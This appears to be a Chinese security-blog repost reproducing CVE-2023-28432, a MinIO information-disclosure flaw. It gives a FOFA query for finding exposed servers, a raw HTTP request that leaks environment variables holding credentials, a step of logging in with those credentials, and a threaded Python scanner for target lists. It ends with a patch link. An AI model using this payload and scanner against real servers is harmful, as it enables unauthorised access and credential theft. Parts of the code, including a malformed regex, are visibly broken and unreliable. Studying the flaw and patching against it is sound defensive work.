CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC

admin 2024年10月7日15:15:29评论40 views字数 3675阅读12分15秒阅读模式

0x01 漏洞概述

漏洞编号:CVE-2023-28432 CNNVD-202303-1795

MinIO是美国MinIO公司的一款开源的对象存储服务器, 是一款高性能、分布式的对象存储系统. 它是一款软件产品, 可以100%的运行在标准硬件。即X86等低成本机器也能够很好的运行MinIO。MinIO中存在一处信息泄露漏洞,由于Minio集群进行信息交换的9000端口,在未经配置的情况下通过发送特殊HPPT请求进行未授权访问,进而导致MinIO对象存储的相关环境变量泄露,环境变量中包含密钥信息。泄露的信息中包含登录账号密码。

MinIO 存在信息泄露漏洞,该漏洞源于在集群部署中MinIO会返回所有环境变量,导致信息泄露。

0x02 影响版本

2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z

0x03 漏洞复现

方式一:可以通过FOFA进行搜索,搜索的语法格式如下:

title="MinIO Browser"

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

方式二:可以通过Docker容器或Podman等容器复现环境。

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上,通过BP抓包分析。

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

构造Payload

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.126.128:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

利用泄露的用户名和密码登录系统。

 

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

0x04 漏洞检测

基于Python实现的漏洞检测工具

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

源代码

# -*- coding: utf-8 -*-
from urllib.parse import urlsplit
import argparse
import requests
import sys
import re
import threading
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
# 自定义请求头字段
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {
    }
vulurl=[]
#url合规检测执行
def urltest(url):
    parsed_url = urlsplit(url)
    if parsed_url.port == "443" and parsed_url.netloc:
        url="https://"+parsed_url.netloc+"/minio/bootstrap/v1/verify"
        vultest(url) 
    if parsed_url.netloc and parsed_url.path:
        url=parsed_url.scheme+"://"+parsed_url.netloc+"/minio/bootstrap/v1/verify"
        vultest(url)
    elif parsed_url.netloc:
        url=url+"/minio/bootstrap/v1/verify"
        vultest(url)
    elif (not parsed_url.scheme) and parsed_url.path:
        url_1="http://"+url+"/minio/bootstrap/v1/verify"
        vultest(url_1)
        url_2="https://"+url+"/minio/bootstrap/v1/verify"
        vultest(url_2)
    else:
        modified_string = re.sub(r"[/\].*", "/minio/bootstrap/v1/verify", url)
        url_1="http://"+modified_string
        vultest(url_1)
        url_2="https://"+modified_string
        vultest(url_2)
#漏洞检测
def vultest(url):
    try:
        response = requests.post(url, data=data, headers=headers, verify=False , timeout=3)
        parsed_url = urlsplit(url)
        url=parsed_url.scheme+"://"+parsed_url.netloc
        # 检查响应头的状态码是否为200
        if response.status_code == 200 and ("MinioEnv" in response.text): 
            vulurl.append(url)
            print(url+"  [+]漏洞存在!!!") 
        else:
            print(url+"  [-]漏洞不存在。")
    except RequestException:
        parsed_url = urlsplit(url)
        url=parsed_url.scheme+"://"+parsed_url.netloc
        print(url+"  [-]请求失败。")
#读取url或file
def main():
    # 禁用警告
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    parser = argparse.ArgumentParser(description="读取命令行参数")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='URL 参数')
    group.add_argument('-f', '--file', help='file 参数')
    args = parser.parse_args()
    if args.url:
        urltest(args.url)
    elif args.file:
        threads_queue=[]
        with open(args.file, 'r') as file:
            for line in file:
                line=line.strip()
                read_thread = threading.Thread(target=urltest, args=(line,))
                threads_queue.append(read_thread)
                read_thread.start()
            for thread in threads_queue:
                thread.join()
    print("n存在漏洞列表:")
    for url in vulurl:
        print(url+"  [+]漏洞存在!!!")
if __name__ == "__main__":
    main()

 

0x05 整改意见

升级补丁以修复漏洞,补丁获取链接:

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

CVE-2023-28432  MinIO集群模式信息泄露漏洞复现 PoC

原文始发于微信公众号(小白嘿课):CVE-2023-28432 MinIO集群模式信息泄露漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日15:15:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoChttps://cn-sec.com/archives/1928925.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息